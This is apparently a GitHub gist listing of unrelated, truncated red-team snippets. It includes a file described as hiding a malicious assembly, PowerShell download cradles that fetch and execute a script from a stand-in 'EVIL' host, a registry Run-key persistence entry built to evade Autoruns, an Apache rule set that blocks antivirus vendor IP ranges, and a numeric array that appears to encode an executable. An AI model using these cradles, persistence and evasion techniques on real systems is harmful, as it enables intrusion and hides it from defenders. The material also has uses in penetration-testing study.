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TechByTom / malicious.cs
Created February 1, 2018 17:55 — forked from Arno0x/malicious.cs
Hide malicious assembly in another one with RunTime code compiling
/*
Author: Arno0x0x, Twitter: @Arno0x0x
DO NOT COMPILE THIS SOURCE FILE !
Encode this source in base64:
base64 -w0 malicious.cs > malicious.b64
Then paste it in the code in "not_detected.cs" source file
@TechByTom
TechByTom / transformFile.py
Created February 1, 2018 17:55 — forked from Arno0x/transformFile.py
Performs multiple useful transformation on files
#!/usr/bin/python
# -*- coding: utf8 -*-
#
# Author: Arno0x0x, Twitter: @Arno0x0x
#
import argparse
from Crypto.Cipher import AES
import pyscrypt
from base64 import b64encode
@TechByTom
TechByTom / test.reg
Created February 1, 2018 17:56 — forked from hasherezade/test.reg
Demo: persistence key not visible for sysinternals autoruns (in a default configuration - read more: https://twitter.com/hasherezade/status/849756054145699840)
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
@="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\ProgramData\\test.exe\""
@TechByTom
TechByTom / DownloadCradles.ps1
Created February 1, 2018 17:56 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@TechByTom
TechByTom / gist:5fe4a9d366ce6fc340946f2f7ac41a3d
Created February 1, 2018 17:56 — forked from vysecurity/gist:8dfb791c8fca952729e4f4f80b1ce1f4
Set up a VPN Server (PPTP) on AWS and use it anywhere

Set up a VPN Server (PPTP) on AWS

  1. Create a EC2 instance using Ubuntu 14.04.
  2. In Secure Group Inbound Rules, add a SSH Rule(TCP, Port 22, 0.0.0.0/0) and a Custom TCP Rule(TCP, Port 1723, 0.0.0.0/0).
  3. Optional: Associate a Elastic IP with the instance.
  4. SSH into the instance.
  5. sudo apt-get install pptpd.
  6. sudo vim /etc/pptpd.conf. Uncomment localip 192.168.0.1 and remoteip 192.168.0.234-238,192.168.0.245.
  7. sudo vim /etc/ppp/pptpd-options. Uncomment ms-dns and ms-wins. Change the IP to Google's DNS like this:
RewriteEngine On
#LogLevel alert rewrite:trace5
# BURN AV BURN
# TrendMicro
RewriteCond expr "-R '150.70.0.0/22'" [OR]
RewriteCond expr "-R '150.70.104.0/22'" [OR]
RewriteCond expr "-R '150.70.110.0/24'" [OR]
RewriteCond expr "-R '150.70.112.0/20'" [OR]
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
@TechByTom
TechByTom / AWS Mod_rewrite.md
Created June 27, 2018 22:57
Live generate an apache mod_rewrite ruleset from AWS's public IP listing json file
@TechByTom
TechByTom / CheckHIBP.sh
Created January 18, 2019 15:45
Bash script to check a password or passwords against HIBP
#!/bin/bash
#credit: https://www.reddit.com/r/netsec/comments/agrrig/troy_hunt_the_773_million_record_collection_1/ee9jenv/
check_pwndb() {
hash="$(echo -n ${password} | openssl sha1 | cut -d' ' -f2)"
upperCase="$(echo ${hash} | tr '[a-z]' '[A-Z]')"
prefix="${upperCase:0:5}"
suffix="${upperCase:5}"
response=$(curl -s "https://api.pwnedpasswords.com/range/${prefix}")
$a = @(85,87,112,80,64,64,76,64,64,64,64,68,64,64,64,64,46,46,57,64,64,77,102,64,64,64,64,64,64,64,64,64,80,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,102,64,64,64,64,64,53,103,116,102,53,64,117,64,111,79,72,99,102,67,85,76,49,105,87,70,105,113,98,120,67,118,98,108,56,111,98,108,71,117,72,70,79,105,99,108,52,119,101,66,67,104,91,82,67,120,101,86,53,102,96,86,53,102,83,68,56,85,72,70,48,119,91,70,84,116,69,80,49,74,75,64,64,64,64,64,64,64,64,64,67,80,83,80,64,64,85,64,68,69,64,77,117,66,77,109,118,64,64,64,64,64,64,64,64,64,64,78,64,64,72,104,64,77,64,85,64,64,64,64,53,64,64,64,64,70,64,64,64,64,64,64,64,64,66,104,118,64,64,64,64,102,64,64,64,64,80,64,64,64,64,64,64,64,68,64,64,102,64,64,64,64,64,102,64,64,67,64,64,64,64,64,64,64,64,64,64,70,64,64,64,64,64,64,64,64,64,64,66,64,64,64,64,64,64,102,64,64,64,64,64,64,64,64,76,64,88,72,84,64,64,67,64,64,64,67,64,64,64,64,64,64,68,64,64,64,68,64,64,64,64,64,64,64,64,67,